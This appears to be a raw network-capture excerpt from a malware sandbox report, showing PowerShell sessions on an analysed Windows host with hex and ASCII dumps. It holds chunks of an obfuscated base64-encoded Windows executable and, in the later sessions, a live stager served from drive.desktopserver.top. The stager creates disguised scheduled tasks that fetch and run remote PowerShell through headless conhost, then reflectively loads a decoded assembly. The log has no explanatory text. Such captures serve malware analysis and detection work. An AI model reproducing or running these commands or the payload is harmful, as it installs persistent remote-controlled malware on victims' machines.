2024-09-30 16:58:21 UTC	741	IN	Data Raw: 37 64 32 61 0d 0a 54 56 71 51 41 5e 41 4d 41 41 41 5e 41 45 41 41 41 5e 41 2f 2f 38 41 5e 41 4c 67 41 41 5e 41 41 41 41 41 5e 41 41 51 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 67 41 41 41 41 5e 41 34 66 75 67 5e 34 41 74 41 6e 5e 4e 49 62 67 42 5e 54 4d 30 68 56 5e 47 68 70 63 79 5e 42 77 63 6d 39 5e 6e 63 6d 46 74 5e 49 47 4e 68 62 5e 6d 35 76 64 43 5e 42 69 5a 53 42 5e 79 64 57 34 67 5e 61 57 34 67 52 5e 45 39 54 49 47 5e 31 76 5a 47 55 5e 75 44 51 30 4b 5e 4a 41 41 41 41 5e 41 41 41 41 41 5e 42 51 52 51 41 5e 41 54 41 45 44 5e 41 45 6d 6b 38 5e 6d 59 41 41 41 5e 41 41 41 41 41 5e 41 41 4f 41 41 5e 44 69 45 4c 41 5e 54 41 41 Data Ascii: 7d2aTVqQA^AMAAA^AEAAA^A//8A^ALgAA^AAAAA^AAQAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^gAAAA^A4fug^4AtAn^NIbgB^TM0hV^Ghpcy^Bwcm9^ncmFt^IGNhb^m5vdC^BiZSB^ydW4g^aW4gR^E9TIG^1vZGU^uDQ0K^JAAAA^AAAAA^BQRQA^ATAED^AEmk8^mYAAA^AAAAA^AAOAA^DiELA^TAA
2024-09-30 16:58:21 UTC	1369	IN	Data Raw: 47 39 5e 6a 41 41 41 4d 5e 41 41 41 41 41 5e 45 41 49 41 41 5e 41 43 41 41 41 5e 41 37 67 63 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 51 41 41 41 5e 51 67 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 43 41 42 5e 67 67 41 41 41 5e 41 41 41 45 67 5e 41 41 41 41 43 5e 41 41 55 41 6d 5e 45 55 46 41 4e 5e 68 49 41 67 41 5e 42 41 41 41 41 5e 41 41 41 41 41 5e 48 43 4f 42 77 5e 42 6e 64 41 41 5e 41 6a 51 55 49 5e 41 49 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 42 5e 4d 77 41 77 41 5e 46 41 51 41 41 5e 41 51 41 41 45 5e 53 73 46 4b 4f 5e 6a 4e 4a 57 41 5e 67 41 67 41 41 5e 41 50 34 4f 41 5e Data Ascii: G9^jAAAM^AAAAA^EAIAA^ACAAA^A7gcA^AAAAA^AAAAA^AAAAA^AQAAA^QgAAA^AAAAA^AAAAA^AAAAA^AACAB^ggAAA^AAAEg^AAAAC^AAUAm^EUFAN^hIAgA^BAAAA^AAAAA^HCOBw^BndAA^AjQUI^AIAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAB^MwAwA^FAQAA^AQAAE^SsFKO^jNJWA^gAgAA^AP4OA^
2024-09-30 16:58:21 UTC	1369	IN	Data Raw: 41 5e 6f 71 77 45 41 5e 42 69 55 6d 67 5e 41 51 41 41 41 5e 51 67 42 67 41 5e 41 41 44 67 7a 5e 2f 2f 2f 2f 49 5e 49 77 41 41 41 5e 41 6f 45 51 41 5e 41 42 69 55 6d 5e 67 41 59 41 41 5e 41 51 67 42 41 5e 41 41 41 44 67 5e 59 2f 2f 2f 2f 5e 66 6d 63 43 41 5e 41 51 6f 42 41 5e 67 41 42 69 55 5e 6d 49 4b 4d 41 5e 41 41 41 6f 45 5e 51 41 41 42 69 5e 55 6d 66 6d 67 5e 43 41 41 51 6f 5e 43 41 67 41 42 5e 69 68 67 41 67 5e 41 47 66 6d 6b 5e 43 41 41 51 6f 5e 44 41 67 41 42 5e 69 55 6d 49 4b 5e 59 41 41 41 41 5e 6f 45 51 41 41 5e 42 69 43 70 41 5e 41 41 41 4b 42 5e 45 41 41 41 59 5e 6c 4a 6e 35 71 5e 41 67 41 45 4b 5e 42 41 49 41 41 5e 61 41 42 77 41 5e 41 42 43 41 41 5e 41 41 41 41 66 5e 67 59 43 41 41 5e 52 37 47 51 49 5e 41 42 44 6d 73 5e 2f 76 2f 2f 4a 5e 69 Data Ascii: A^oqwEA^BiUmg^AQAAA^QgBgA^AADgz^////I^IwAAA^AoEQA^ABiUm^gAYAA^AQgBA^AAADg^Y////^fmcCA^AQoBA^gABiU^mIKMA^AAAoE^QAABi^Umfmg^CAAQo^CAgAB^ihgAg^AGfmk^CAAQo^DAgAB^iUmIK^YAAAA^oEQAA^BiCpA^AAAKB^EAAAY^lJn5q^AgAEK^BAIAA^aABwA^ABCAA^AAAAf^gYCAA^R7GQI^ABDms^/v//J^i
2024-09-30 16:58:21 UTC	1369	IN	Data Raw: 5e 46 42 41 41 41 5e 41 46 38 41 41 5e 41 41 46 41 41 5e 41 41 65 67 41 5e 41 41 42 59 41 5e 41 41 41 34 57 5e 67 41 41 41 48 5e 4d 53 41 41 41 5e 4b 45 77 49 67 5e 41 67 41 41 41 5e 44 6a 56 2f 2f 5e 2f 2f 45 51 41 5e 52 41 48 35 76 5e 41 67 41 45 4b 5e 43 51 49 41 41 5e 59 6c 4a 68 45 5e 41 66 6e 41 43 5e 41 41 51 6f 4b 5e 41 67 41 42 69 5e 55 6d 66 6e 45 5e 43 41 41 51 6f 5e 4c 41 67 41 42 5e 68 4d 4a 49 41 5e 45 41 41 41 42 5e 2b 42 67 49 41 5e 42 48 73 65 41 5e 67 41 45 4f 5a 5e 66 2f 2f 2f 38 5e 6d 49 41 45 41 5e 41 41 41 34 6a 5e 50 2f 2f 2f 78 5e 45 41 66 67 73 5e 41 41 41 52 2b 5e 62 67 49 41 42 5e 43 67 67 43 41 5e 41 47 49 41 4d 5e 41 41 41 41 34 5e 63 66 2f 2f 2f 5e 77 41 52 41 68 5e 45 4a 46 69 69 5e 66 41 51 41 47 5e 63 78 4d 41 41 5e 41 6f Data Ascii: ^FBAAA^AF8AA^AAFAA^AAegA^AABYA^AAA4W^gAAAH^MSAAA^KEwIg^AgAAA^DjV//^//EQA^RAH5v^AgAEK^CQIAA^YlJhE^AfnAC^AAQoK^AgABi^UmfnE^CAAQo^LAgAB^hMJIA^EAAAB^+BgIA^BHseA^gAEOZ^f///8^mIAEA^AAA4j^P///x^EAfgs^AAAR+^bgIAB^CggCA^AGIAM^AAAA4^cf///^wARAh^EJFii^fAQAG^cxMAA^Ao
2024-09-30 16:58:21 UTC	1369	IN	Data Raw: 41 42 44 6f 50 5e 41 41 41 41 4a 5e 69 41 41 41 41 5e 41 41 4f 41 51 5e 41 41 41 44 2b 5e 44 41 34 41 52 5e 51 4d 41 41 41 5e 41 46 41 41 41 5e 41 47 77 41 41 5e 41 45 51 41 41 5e 41 41 34 41 41 5e 41 41 41 42 45 5e 41 66 6e 4d 43 5e 41 41 51 6f 4e 5e 41 67 41 42 69 5e 41 43 41 41 41 5e 41 4f 4e 54 2f 5e 2f 2f 38 62 52 5e 51 45 41 41 41 5e 44 32 2f 2f 2f 5e 2f 49 41 41 41 5e 41 41 42 2b 42 5e 67 49 41 42 48 5e 73 53 41 67 41 5e 45 4f 62 62 2f 5e 2f 2f 38 6d 49 5e 41 41 41 41 41 5e 41 34 71 2f 2f 5e 2f 2f 39 77 67 5e 41 41 41 41 41 5e 48 34 47 41 67 5e 41 45 65 79 67 5e 43 41 41 51 35 5e 32 2f 76 2f 2f 5e 79 59 67 41 41 5e 41 41 41 44 6a 5e 51 2b 2f 2f 2f 5e 63 78 55 41 41 5e 41 6f 54 41 43 5e 41 42 41 41 41 5e 41 66 67 59 43 5e 41 41 52 37 4a 5e 67 49 41 Data Ascii: ABDoP^AAAAJ^iAAAA^AAOAQ^AAAD+^DA4AR^QMAAA^AFAAA^AGwAA^AEQAA^AA4AA^AAABE^AfnMC^AAQoN^AgABi^ACAAA^AONT/^//8bR^QEAAA^D2///^/IAAA^AAB+B^gIABH^sSAgA^EObb/^//8mI^AAAAA^A4q//^//9wg^AAAAA^H4GAg^AEeyg^CAAQ5^2/v//^yYgAA^AAADj^Q+///^cxUAA^AoTAC^ABAAA^AfgYC^AAR7J^gIA
2024-09-30 16:58:21 UTC	1369	IN	Data Raw: 42 44 71 34 5e 2f 2f 2f 2f 4a 5e 69 41 42 41 41 5e 41 41 4f 4b 33 5e 2f 2f 2f 38 63 5e 52 51 45 41 41 5e 41 44 32 2f 2f 5e 2f 2f 49 41 45 5e 41 41 41 42 2b 5e 42 67 49 41 42 5e 48 76 7a 41 51 5e 41 45 4f 59 2f 5e 2f 2f 2f 38 6d 5e 49 41 51 41 41 5e 41 41 34 68 50 5e 2f 2f 2f 78 45 5e 49 66 6e 4d 43 5e 41 41 51 6f 4e 5e 41 67 41 42 69 5e 41 44 41 41 41 5e 41 66 67 59 43 5e 41 41 52 37 43 5e 41 49 41 42 44 5e 70 6b 2f 2f 2f 5e 2f 4a 69 41 43 5e 41 41 41 41 4f 5e 46 6e 2f 2f 2f 5e 2f 63 45 51 4d 5e 36 53 41 41 41 5e 41 43 41 43 41 5e 41 41 41 4f 41 5e 51 41 41 41 44 5e 2b 44 41 6f 41 5e 52 51 4d 41 41 5e 41 41 70 41 41 5e 41 41 56 41 41 5e 41 41 41 55 41 5e 41 41 41 34 4a 5e 41 41 41 41 44 5e 68 4b 41 41 41 5e 41 49 41 41 41 5e 41 41 42 2b 42 5e 67 49 41 42 Data Ascii: BDq4^////J^iABAA^AAOK3^///8c^RQEAA^AD2//^//IAE^AAAB+^BgIAB^HvzAQ^AEOY/^///8m^IAQAA^AA4hP^///xE^IfnMC^AAQoN^AgABi^ADAAA^AfgYC^AAR7C^AIABD^pk///^/JiAC^AAAAO^Fn///^/cEQM^6SAAA^ACACA^AAAOA^QAAAD^+DAoA^RQMAA^AApAA^AAVAA^AAAUA^AAA4J^AAAAD^hKAAA^AIAAA^AAB+B^gIAB
2024-09-30 16:58:21 UTC	1369	IN	Data Raw: 6a 67 41 5e 41 41 41 41 41 5e 69 67 59 41 41 5e 41 4b 49 41 41 5e 41 41 41 42 2b 5e 42 67 49 41 42 5e 48 74 45 41 67 5e 41 45 4f 52 51 5e 41 41 41 41 6d 5e 49 41 41 41 41 5e 41 41 34 43 51 5e 41 41 41 44 6a 5e 43 2f 2f 2f 2f 5e 2f 67 77 41 41 5e 45 55 43 41 41 5e 41 41 42 51 41 5e 41 41 43 73 41 5e 41 41 41 34 41 5e 41 41 41 41 41 5e 49 44 66 51 30 5e 41 41 41 51 67 5e 41 51 41 41 41 5e 48 34 47 41 67 5e 41 45 65 78 77 5e 43 41 41 51 35 5e 30 2f 2f 2f 2f 5e 79 59 67 41 51 5e 41 41 41 44 6a 5e 49 2f 2f 2f 2f 5e 4b 67 41 41 4f 5e 69 73 46 4b 47 5e 47 58 56 30 63 5e 43 65 77 30 41 5e 41 41 51 71 41 5e 44 59 72 42 53 5e 68 77 2f 32 46 5e 50 4b 43 63 41 5e 41 41 59 71 41 5e 41 41 36 4b 77 5e 55 6f 6e 51 39 5e 5a 53 51 41 6f 5e 70 41 4d 41 42 5e 69 6f 41 51 69 Data Ascii: jgA^AAAAA^igYAA^AKIAA^AAAB+^BgIAB^HtEAg^AEORQ^AAAAm^IAAAA^AA4CQ^AAADj^C////^/gwAA^EUCAA^AABQA^AACsA^AAA4A^AAAAA^IDfQ0^AAAQg^AQAAA^H4GAg^AEexw^CAAQ5^0////^yYgAQ^AAADj^I////^KgAAO^isFKG^GXV0c^Cew0A^AAQqA^DYrBS^hw/2F^PKCcA^AAYqA^AA6Kw^UonQ9^ZSQAo^pAMAB^ioAQi
2024-09-30 16:58:21 UTC	1369	IN	Data Raw: 41 4b 5e 41 41 41 41 4f 5e 48 37 2f 2f 2f 5e 38 52 41 43 67 5e 77 41 41 41 47 5e 4a 53 59 54 41 5e 53 41 46 41 41 5e 41 41 66 67 59 5e 43 41 41 52 37 5e 4b 51 49 41 42 5e 44 70 66 2f 2f 5e 2f 2f 4a 69 41 5e 46 41 41 41 41 5e 4f 46 54 2f 2f 5e 2f 38 62 52 51 5e 45 41 41 41 44 5e 32 2f 2f 2f 2f 5e 49 41 41 41 41 5e 41 42 2b 42 67 5e 49 41 42 48 74 5e 67 41 67 41 45 5e 4f 54 62 2f 2f 5e 2f 38 6d 49 41 5e 41 41 41 41 41 5e 34 4b 2f 2f 2f 5e 2f 78 45 41 45 5e 51 46 2b 67 41 5e 49 41 42 43 68 5e 6f 43 41 41 47 5e 4a 53 59 54 42 5e 43 41 43 41 41 5e 41 41 2f 67 34 5e 43 41 44 67 48 5e 2f 2f 2f 2f 30 5e 43 73 41 41 41 5e 59 6d 49 41 59 5e 41 41 41 41 34 5e 2b 2f 37 2f 2f 5e 7a 6a 4c 2f 2f 5e 2f 2f 49 41 41 5e 41 41 41 42 2b 5e 42 67 49 41 42 5e 48 74 6c 41 67 5e Data Ascii: AK^AAAAO^H7///^8RACg^wAAAG^JSYTA^SAFAA^AAfgY^CAAR7^KQIAB^Dpf//^//JiA^FAAAA^OFT//^/8bRQ^EAAAD^2////^IAAAA^AB+Bg^IABHt^gAgAE^OTb//^/8mIA^AAAAA^4K///^/xEAE^QF+gA^IABCh^oCAAG^JSYTB^CACAA^AA/g4^CADgH^////0^CsAAA^YmIAY^AAAA4^+/7//^zjL//^//IAA^AAAB+^BgIAB^HtlAg^
2024-09-30 16:58:21 UTC	1369	IN	Data Raw: 41 5e 42 69 67 31 41 5e 41 41 47 4a 53 5e 59 36 58 41 45 5e 41 41 43 41 41 5e 41 41 41 41 66 5e 67 59 43 41 41 5e 52 37 44 51 49 5e 41 42 44 6c 53 5e 2f 2f 2f 2f 4a 5e 69 41 42 41 41 5e 41 41 4f 45 66 5e 2f 2f 2f 38 34 5e 35 51 41 41 41 5e 43 41 41 41 41 5e 41 41 66 67 59 5e 43 41 41 52 37 5e 43 67 49 41 42 5e 44 6b 75 2f 2f 5e 2f 2f 4a 69 41 5e 41 41 41 41 41 5e 4f 43 50 2f 2f 5e 2f 2f 64 65 50 5e 2f 2f 2f 79 41 5e 46 41 41 41 41 5e 4f 42 54 2f 2f 5e 2f 38 63 52 51 5e 45 41 41 41 44 5e 32 2f 2f 2f 2f 5e 49 41 51 41 41 5e 41 42 2b 42 67 5e 49 41 42 48 74 5e 66 41 67 41 45 5e 4f 66 62 2b 2f 5e 2f 38 6d 49 41 5e 6f 41 41 41 41 5e 34 36 2f 37 2f 5e 2f 78 45 44 46 5e 31 67 54 41 79 5e 41 4e 41 41 41 5e 41 66 67 59 43 5e 41 41 52 37 2b 5e 51 45 41 42 44 5e 6e Data Ascii: A^Big1A^AAGJS^Y6XAE^AACAA^AAAAf^gYCAA^R7DQI^ABDlS^////J^iABAA^AAOEf^///84^5QAAA^CAAAA^AAfgY^CAAR7^CgIAB^Dku//^//JiA^AAAAA^OCP//^//deP^///yA^FAAAA^OBT//^/8cRQ^EAAAD^2////^IAQAA^AB+Bg^IABHt^fAgAE^Ofb+/^/8mIA^oAAAA^46/7/^/xEDF^1gTAy^ANAAA^AfgYC^AAR7+^QEABD^n
2024-09-30 16:58:21 UTC	1369	IN	Data Raw: 5e 4f 67 49 41 42 5e 44 72 54 2f 2f 5e 2f 2f 4a 69 41 5e 41 41 41 41 41 5e 4f 4d 6a 2f 2f 5e 2f 38 71 41 41 5e 41 54 4d 41 51 5e 41 36 41 41 41 5e 41 41 67 41 41 5e 42 45 72 42 53 5e 69 42 63 68 51 5e 37 49 41 49 41 5e 41 41 44 2b 44 5e 67 45 41 4f 41 5e 41 41 41 41 44 5e 2b 44 41 45 41 5e 52 51 55 41 41 5e 41 41 46 41 41 5e 41 41 6a 77 41 5e 41 41 45 6b 41 5e 41 41 42 37 41 5e 41 41 41 48 41 5e 41 41 41 44 67 5e 41 41 41 41 41 5e 45 67 41 65 4b 5e 45 4d 41 41 41 5e 5a 39 46 77 41 5e 41 42 43 41 45 5e 41 41 41 41 4f 5e 4d 76 2f 2f 2f 5e 38 53 41 48 77 5e 59 41 41 41 45 5e 45 67 41 6f 41 5e 51 41 41 4b 79 5e 41 44 41 41 41 5e 41 66 67 59 43 5e 41 41 52 37 37 5e 51 45 41 42 44 5e 6d 70 2f 2f 2f 5e 2f 4a 69 41 43 5e 41 41 41 41 4f 5e 4a 37 2f 2f 2f 5e 38 53 Data Ascii: ^OgIAB^DrT//^//JiA^AAAAA^OMj//^/8qAA^ATMAQ^A6AAA^AAgAA^BErBS^iBchQ^7IAIA^AAD+D^gEAOA^AAAAD^+DAEA^RQUAA^AAFAA^AAjwA^AAEkA^AAB7A^AAAHA^AAADg^AAAAA^EgAeK^EMAAA^Z9FwA^ABCAE^AAAAO^Mv///^8SAHw^YAAAE^EgAoA^QAAKy^ADAAA^AfgYC^AAR77^QEABD^mp///^/JiAC^AAAAO^J7///^8S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49744	162.159.135.234	443	8288	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:23 UTC	187	OUT	GET /?v=9&encording=json HTTP/1.1 Connection: Upgrade,Keep-Alive Upgrade: websocket Sec-WebSocket-Key: 6pu1vC0lzYj5eQLGnNvoqQ== Sec-WebSocket-Version: 13 Host: gateway.discord.gg
2024-09-30 16:58:23 UTC	616	IN	HTTP/1.1 404 Not Found Date: Mon, 30 Sep 2024 16:58:23 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b6Gh1pMgRQAAMy6lbfJ%2BSf0D2Br3IrF94zbHTf1VYUbviU0c4wvIVtaUko8U%2BBR6%2BGg2Hr6zSWwNRCX5HRf4R6XZ0AUfpC6QLsWESJVNjUf8D50PjPeyC2Kxj%2BhCEPaD6Bv22A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8cb5c1e8ac47424c-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49749	104.21.92.189	443	9160	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:25 UTC	173	OUT	GET /file/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
2024-09-30 16:58:26 UTC	846	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 16:58:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: LAST_VISIT=Monday%2C%20September%2030%2C%202024%20at%2010%3A28%20PM; expires=Tue, 30-Sep-2025 16:58:25 GMT; Max-Age=31536000 Set-Cookie: VISIT_NUMBER=1; expires=Mon, 14-Oct-2024 16:58:25 GMT; Max-Age=1209600 Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7jZdXu4TffLmca8XjQn1A5%2Bj1xC9wPSsK7WK4CX0oqxx7zZHbN3WSrP0fHQY3rhyebWxVanIEIg7gv7e8z8K%2FDgM9pFP9Ld8Eq2GgrDLzkYbYiAH2E3kqdsCUYtcnzqHXJJL79okHB%2FvBA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1f67f348c57-EWR
2024-09-30 16:58:26 UTC	523	IN	Data Raw: 32 63 36 0d 0a 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 43 6c 65 61 6e 65 72 52 65 73 22 20 2f 74 72 20 22 63 6f 6e 68 6f 73 74 2e 65 78 65 20 2d 2d 68 65 61 64 6c 65 73 73 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 63 20 69 72 6d 20 68 74 74 70 3a 2f 2f 64 72 69 76 65 2e 64 65 73 6b 74 6f 70 73 65 72 76 65 72 2e 74 6f 70 2f 66 69 6c 65 2f 7c 20 50 6f 77 65 72 73 68 65 6c 6c 22 20 2f 73 63 20 64 61 69 6c 79 20 2f 73 74 20 30 39 3a 30 30 20 2f 66 20 3b 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 44 72 69 76 65 72 73 55 70 64 61 74 65 22 20 2f 74 72 20 22 63 6f 6e 68 6f 73 74 2e 65 78 65 20 2d 2d 68 65 61 64 6c 65 73 73 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 63 20 69 72 6d 20 68 74 74 70 Data Ascii: 2c6schtasks /create /tn "CleanerRes" /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f ; schtasks /create /tn "DriversUpdate" /tr "conhost.exe --headless powershell.exe -c irm http
2024-09-30 16:58:26 UTC	194	IN	Data Raw: 65 72 2e 74 6f 70 2f 66 69 6c 65 2f 72 65 73 2f 27 29 3b 20 24 62 79 74 65 65 73 20 3d 20 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 24 73 74 72 69 6e 67 2e 52 65 70 6c 61 63 65 28 27 5e 27 2c 27 27 29 29 3b 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 41 73 73 65 6d 62 6c 79 5d 3a 3a 4c 6f 61 64 28 24 62 79 74 65 65 73 29 3b 24 41 64 6f 62 65 20 3d 20 4e 65 77 2d 4f 62 6a 65 63 74 20 44 53 43 2e 53 69 67 6e 3b 20 24 41 64 6f 62 65 2e 43 6f 6e 6e 65 63 74 28 27 55 70 64 61 74 65 4d 65 27 29 3b 0d 0a Data Ascii: er.top/file/res/'); $bytees = [System.Convert]::FromBase64String($string.Replace('^','')); [System.Reflection.Assembly]::Load($bytees);$Adobe = New-Object DSC.Sign; $Adobe.Connect('UpdateMe');
2024-09-30 16:58:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49750	104.21.92.189	443	9208	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:25 UTC	173	OUT	GET /file/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
2024-09-30 16:58:26 UTC	844	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 16:58:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: LAST_VISIT=Monday%2C%20September%2030%2C%202024%20at%2010%3A28%20PM; expires=Tue, 30-Sep-2025 16:58:26 GMT; Max-Age=31536000 Set-Cookie: VISIT_NUMBER=1; expires=Mon, 14-Oct-2024 16:58:26 GMT; Max-Age=1209600 Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6tJBZxmgl7U8qnEHqfdWnjejLpbrG70OfB4wgdunYLTcO5Dg1i51oTWVQ6kjxPy4I2cAB3MIcX9127NY8zlSb2fQnlrSwXrkFVoAhnOCpfvMsQaOoeOC%2FM5108VQZnMr1ZfCfRby11q%2BkQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1f68c570c82-EWR
2024-09-30 16:58:26 UTC	525	IN	Data Raw: 32 63 36 0d 0a 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 43 6c 65 61 6e 65 72 52 65 73 22 20 2f 74 72 20 22 63 6f 6e 68 6f 73 74 2e 65 78 65 20 2d 2d 68 65 61 64 6c 65 73 73 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 63 20 69 72 6d 20 68 74 74 70 3a 2f 2f 64 72 69 76 65 2e 64 65 73 6b 74 6f 70 73 65 72 76 65 72 2e 74 6f 70 2f 66 69 6c 65 2f 7c 20 50 6f 77 65 72 73 68 65 6c 6c 22 20 2f 73 63 20 64 61 69 6c 79 20 2f 73 74 20 30 39 3a 30 30 20 2f 66 20 3b 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 44 72 69 76 65 72 73 55 70 64 61 74 65 22 20 2f 74 72 20 22 63 6f 6e 68 6f 73 74 2e 65 78 65 20 2d 2d 68 65 61 64 6c 65 73 73 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 63 20 69 72 6d 20 68 74 74 70 Data Ascii: 2c6schtasks /create /tn "CleanerRes" /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f ; schtasks /create /tn "DriversUpdate" /tr "conhost.exe --headless powershell.exe -c irm http
2024-09-30 16:58:26 UTC	192	IN	Data Raw: 2e 74 6f 70 2f 66 69 6c 65 2f 72 65 73 2f 27 29 3b 20 24 62 79 74 65 65 73 20 3d 20 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 24 73 74 72 69 6e 67 2e 52 65 70 6c 61 63 65 28 27 5e 27 2c 27 27 29 29 3b 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 41 73 73 65 6d 62 6c 79 5d 3a 3a 4c 6f 61 64 28 24 62 79 74 65 65 73 29 3b 24 41 64 6f 62 65 20 3d 20 4e 65 77 2d 4f 62 6a 65 63 74 20 44 53 43 2e 53 69 67 6e 3b 20 24 41 64 6f 62 65 2e 43 6f 6e 6e 65 63 74 28 27 55 70 64 61 74 65 4d 65 27 29 3b 0d 0a Data Ascii: .top/file/res/'); $bytees = [System.Convert]::FromBase64String($string.Replace('^','')); [System.Reflection.Assembly]::Load($bytees);$Adobe = New-Object DSC.Sign; $Adobe.Connect('UpdateMe');
2024-09-30 16:58:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49751	104.21.92.189	443	9180	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:25 UTC	173	OUT	GET /file/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
2024-09-30 16:58:26 UTC	852	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 16:58:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: LAST_VISIT=Monday%2C%20September%2030%2C%202024%20at%2010%3A28%20PM; expires=Tue, 30-Sep-2025 16:58:26 GMT; Max-Age=31536000 Set-Cookie: VISIT_NUMBER=1; expires=Mon, 14-Oct-2024 16:58:26 GMT; Max-Age=1209600 Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PnXrNY5rXp3D%2Fj1oPxSgD%2FglhvY9q7L92yrjjroaer%2BeKDYBA5Q7V6QmyoECByWP4HEp%2Bq%2FknBmsAqrHTFpQd9OdPSIp1lOMuFiSSZiC%2FBlpFwB3JcmXlrfS3HDij77pwSvt9x39TLEvYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1f67b39196c-EWR
2024-09-30 16:58:26 UTC	517	IN	Data Raw: 32 63 36 0d 0a 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 43 6c 65 61 6e 65 72 52 65 73 22 20 2f 74 72 20 22 63 6f 6e 68 6f 73 74 2e 65 78 65 20 2d 2d 68 65 61 64 6c 65 73 73 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 63 20 69 72 6d 20 68 74 74 70 3a 2f 2f 64 72 69 76 65 2e 64 65 73 6b 74 6f 70 73 65 72 76 65 72 2e 74 6f 70 2f 66 69 6c 65 2f 7c 20 50 6f 77 65 72 73 68 65 6c 6c 22 20 2f 73 63 20 64 61 69 6c 79 20 2f 73 74 20 30 39 3a 30 30 20 2f 66 20 3b 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 44 72 69 76 65 72 73 55 70 64 61 74 65 22 20 